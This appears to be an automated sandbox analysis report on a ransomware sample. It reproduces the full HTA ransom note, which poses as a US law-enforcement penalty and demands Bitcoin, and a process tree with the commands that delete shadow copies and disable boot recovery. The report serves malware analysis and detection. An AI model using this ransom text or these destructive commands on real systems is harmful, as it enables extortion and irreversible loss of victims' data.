Analysis
-
max time kernel
1563s -
max time network
1564s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
-
submitted
17-07-2024 19:21
General
-
Target
467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe
-
Size
363KB
-
MD5
36a0cefeb8b0a606358142d4140ea7cf
-
SHA1
03ce13b4f60d2fc632b67b41b82b5e8cfaf9939f
-
SHA256
467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be
-
SHA512
63304f3ddca578beac157197581e6a2a762d9cf1fb08fa6ae85dcdc26340ae64badb0f4a9cb47521315c366b70bd0cf89bf1b72be29f89e2d91504cec7ca9093
-
SSDEEP
6144:VEwaWsAzrp8viKgjdCU641BHoKIPi2CRp2pFSnfJxLw/mq3pT+Qrm9m7s:G9UjdtzIKl2YY3SRxLw/BT+X
Score
10/10
Malware Config
Extracted
Path
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Doz0JokIxnIySJiJ.hta
Ransom Note
<html>
<head>
<hta:application BORDER = "none" CAPTION = "No" CONTEXTMENU = "NO" INNERBORDER = "No" MAXIMIZEBUTTON = "No" MINIMIZEBUTTON = "No" NAVIGABLE = "No" SCROLL = "No" SCROLLFLAT = "No" SELECTION = "Yes" SHOWINTASKBAR = "No" SINGLEINSTANCE = "Yes" SYSMENU = "No"/>
<style>
body{
background-color:#000000;
margin:0;
}
.vau{
margin:10px;
height:520px;
width:750px
}
.sc{
margin:1px 50px;
font-size:40px;
width:750px;
height:30px;
padding: 10px 20px 10px 20px;
background-color:#000000;
color:#e92124;
font-family: Impact;
text-transform: uppercase;
text-align: center;
}
.sc1{
margin:1px 50px;
font-size:20px;
width: 750px;
padding:20px;
background-color:#000000;
color: #e0dede;
font-family: Georgia;
text-align: left;
}
.gr{
margin: 10px 0px;
color:#189f29;
}
.red{
margin: 10px 0px;
color:#e92124;
}
.wh{
margin-top:0px;
margin-bottom:10px;
}
.wt{
margin-top:10px;
margin-bottom:0px;
}
</style>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Notification</title>
<script language="vbscript">
sub Window_Onload
window.resizeTo 850,725
screenWidth = Document.ParentWindow.Screen.AvailWidth
screenHeight = Document.ParentWindow.Screen.AvailHeight
posLeft = (screenWidth - 850) / 2
posTop = (screenHeight - 725) / 2
window.moveTo posLeft, posTop
end sub
</script>
</head>
<body scroll="no">
<div class="vau">
<div class="sc">
All your files have been encrypted!
</div>
<div class="sc1">
<p class="wh">All of important data on this computer was encrypted with strong RSA-2048 algorithm due to the violation of the federal laws of the United States of America! (Article 1, Section 8, Clause 8; Article 202; Arcticle 210 of the Criminal Code of U.S.A. provides for a deprivation of liberty for four to twelve years.)</p>
<b>Following violations were detected:</b><br />
Your IP adress was used to visit websites containing pornography, child pornography, zoophilia and child abuse!<br />
<p class="gr"><b>To unlock your files you have to pay the penalty!</b></p>
<p class="red">You have only <b>96 hours</b> to recover your personal data! After this time your unique key will be deleted and file decryption will become impossible!</p>
<p class="red">Each <b>12 hours</b> the payment size will be automatically increased by <b>100$</b>!</p>
<p class="gr"><b>You must pay the penalty through the Bitcoin Wallet.</b></p>
<p class="wt">To get your unique key and unlock files, you should send the following code:</p>
<b class="gr">TAVOb1nrt0pLc0ui-1E1B6352286734D3</b><br />
to our agent e-mails:<br />
<b class="gr">[email protected]</b> or<br />
<b class="gr">[email protected]</b><br />
You will recieve all necessary instructions!
</div>
<div class="sc">
Hurry up or you will be arrested!!!
</div>
</div>
</body>
</html>
Emails
class="gr">[email protected]</b>
class="gr">[email protected]</b><br
URLs
http-equiv="Content-Type"
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Deletes itself 1 IoCs
-
Drops startup file 2 IoCs
-
Executes dropped EXE 26 IoCs
-
Loads dropped DLL 40 IoCs
-
UPX packed file 38 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Suspicious use of SetThreadContext 14 IoCs
-
Drops file in Program Files directory 1 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Modifies Internet Explorer settings 1 TTPs 1 IoCs
-
Runs ping.exe 1 TTPs 15 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 43 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
-
Views/modifies file attributes 1 TTPs 46 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"C:\Users\Admin\AppData\Local\Temp\467c2b23b785df7b45758143387e9cc5a588718ae0640b3f01b1c19679b011be.exe"2⤵
- Loads dropped DLL
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Local\Temp\467C2B~1.EXE" > "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\kuox1i4d.exe" && "C:\Users\Admin\AppData\Local\Temp\kuox1i4d.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "START" "60000"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\kuox1i4d.exe"C:\Users\Admin\AppData\Local\Temp\kuox1i4d.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "START" "60000"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\kuox1i4d.exe"C:\Users\Admin\AppData\Local\Temp\kuox1i4d.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "START" "60000"5⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\Mg7xeg5b.cmd"6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost7⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe"C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" Doz0JokIxnIySJiJ3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe"C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" Doz0JokIxnIySJiJ4⤵
- Drops startup file
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Roaming\MICROS~1\Eur8asvc.exe" && "C:\Users\Admin\AppData\Roaming\MICROS~1\Eur8asvc.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" "C:\Users\Admin\AppData\Local\Microsoft\iEQrSps7.exe" 15⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\MICROS~1\Eur8asvc.exe"C:\Users\Admin\AppData\Roaming\MICROS~1\Eur8asvc.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" "C:\Users\Admin\AppData\Local\Microsoft\iEQrSps7.exe" 16⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Roaming\MICROS~1\Eur8asvc.exe"C:\Users\Admin\AppData\Roaming\MICROS~1\Eur8asvc.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" "C:\Users\Admin\AppData\Local\Microsoft\iEQrSps7.exe" 17⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\MICROS~1\iEQrSps7.exe" && "C:\Users\Admin\AppData\Local\MICROS~1\iEQrSps7.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Eur8asvc.exe" 25⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\MICROS~1\iEQrSps7.exe"C:\Users\Admin\AppData\Local\MICROS~1\iEQrSps7.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Eur8asvc.exe" 26⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\MICROS~1\iEQrSps7.exe"C:\Users\Admin\AppData\Local\MICROS~1\iEQrSps7.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\MVBJbShf.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Eur8asvc.exe" 27⤵
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\MCrywN60.exe" && "C:\Users\Admin\AppData\Local\Temp\MCrywN60.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "BRO_STARTED" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\MCrywN60.exe"C:\Users\Admin\AppData\Local\Temp\MCrywN60.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "BRO_STARTED" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\MCrywN60.exe"C:\Users\Admin\AppData\Local\Temp\MCrywN60.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "BRO_STARTED" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\Ut9TNzlQ.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\iEiFmWzi.exe" && "C:\Users\Admin\AppData\Local\Temp\iEiFmWzi.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "LOCAL_1E1B6352286734D3" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\iEiFmWzi.exe"C:\Users\Admin\AppData\Local\Temp\iEiFmWzi.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "LOCAL_1E1B6352286734D3" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\iEiFmWzi.exe"C:\Users\Admin\AppData\Local\Temp\iEiFmWzi.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "LOCAL_1E1B6352286734D3" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\l6JOPqTc.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\63gqV9o7.exe" && "C:\Users\Admin\AppData\Local\Temp\63gqV9o7.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "WIN_6.1_64|ADMIN_YES|INT_4" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\63gqV9o7.exe"C:\Users\Admin\AppData\Local\Temp\63gqV9o7.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "WIN_6.1_64|ADMIN_YES|INT_4" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\63gqV9o7.exe"C:\Users\Admin\AppData\Local\Temp\63gqV9o7.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "WIN_6.1_64|ADMIN_YES|INT_4" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\vB6QtAGj.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\kbFz0KrX.exe" && "C:\Users\Admin\AppData\Local\Temp\kbFz0KrX.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "271_LESS_1GB" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\kbFz0KrX.exe"C:\Users\Admin\AppData\Local\Temp\kbFz0KrX.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "271_LESS_1GB" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\kbFz0KrX.exe"C:\Users\Admin\AppData\Local\Temp\kbFz0KrX.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "271_LESS_1GB" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\3vwTd4Fp.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\WZXm6Xeh.exe" && "C:\Users\Admin\AppData\Local\Temp\WZXm6Xeh.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "FILESEXTLIST" "60000" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\Doz0JokIxnIySJiJ.elst" "1"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\WZXm6Xeh.exe"C:\Users\Admin\AppData\Local\Temp\WZXm6Xeh.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "FILESEXTLIST" "60000" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\Doz0JokIxnIySJiJ.elst" "1"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\WZXm6Xeh.exe"C:\Users\Admin\AppData\Local\Temp\WZXm6Xeh.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "FILESEXTLIST" "60000" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\Doz0JokIxnIySJiJ.elst" "1"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\wbuvygYE.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 6 localhost9⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic.exe process call create "cmd.exe /c vssadmin.exe delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"9⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C vssadmin.exe delete shadows /all /quiet9⤵
-
C:\Windows\SysWOW64\vssadmin.exevssadmin.exe delete shadows /all /quiet10⤵
- Interacts with shadow copies
-
-
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\ngrp3FOY.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\Q2Ucl50J.exe" && "C:\Users\Admin\AppData\Local\Temp\Q2Ucl50J.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "CIP_STARTED" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\Q2Ucl50J.exe"C:\Users\Admin\AppData\Local\Temp\Q2Ucl50J.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "CIP_STARTED" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Q2Ucl50J.exe"C:\Users\Admin\AppData\Local\Temp\Q2Ucl50J.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "CIP_STARTED" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\8Fc8W1rp.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Music\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOWNLO~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Pictures\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOWNLO~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Contacts\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOCUME~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\DOWNLO~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\Links\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\LINKSF~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\MICROS~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\FAVORI~1\MSNWEB~1\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Music\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\VCFPLA~1\MVBJbShf.exe" > "C:\Users\Admin\AppData\Local\Temp\ZXcAxgJM.exe" && "C:\Users\Admin\AppData\Local\Temp\ZXcAxgJM.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "100_OK" "60000"5⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\ZXcAxgJM.exe"C:\Users\Admin\AppData\Local\Temp\ZXcAxgJM.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "100_OK" "60000"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\ZXcAxgJM.exe"C:\Users\Admin\AppData\Local\Temp\ZXcAxgJM.exe" "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\" "Doz0JokIxnIySJiJ" "100_OK" "60000"7⤵
- Executes dropped EXE
- Enumerates connected drives
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C "C:\Users\Admin\AppData\Roaming\vcfPlARarToX\A3r8YYGG.cmd"8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 3 localhost9⤵
- Runs ping.exe
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Pictures\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\Admin\Searches\Everywhere.search-ms" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\Admin\Searches\Everywhere.search-ms"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\Searches\Everywhere.search-ms" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\Admin\Searches\Everywhere.search-ms"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\Admin\Searches\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\Admin\Searches\Indexed Locations.search-ms" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\Admin\Searches\Indexed Locations.search-ms"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\Admin\Searches\Indexed Locations.search-ms" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\Admin\Searches\Indexed Locations.search-ms"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\Adobe\Acrobat\9.0\REPLIC~1\Security\WhatHappenedWithFiles.rtf"5⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C CACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G %USERNAME%:F /C & ATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"5⤵
-
C:\Windows\SysWOW64\cacls.exeCACLS "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C6⤵
-
-
C:\Windows\SysWOW64\attrib.exeATTRIB -R -A -H "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"6⤵
- Views/modifies file attributes
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /C type "C:\Users\Admin\AppData\Roaming\WHATHA~1.RTF" > "C:\Users\ALLUSE~1\MICROS~1\DEVICE~1\Device\{11352~1\WhatHappenedWithFiles.rtf"5⤵
-
-
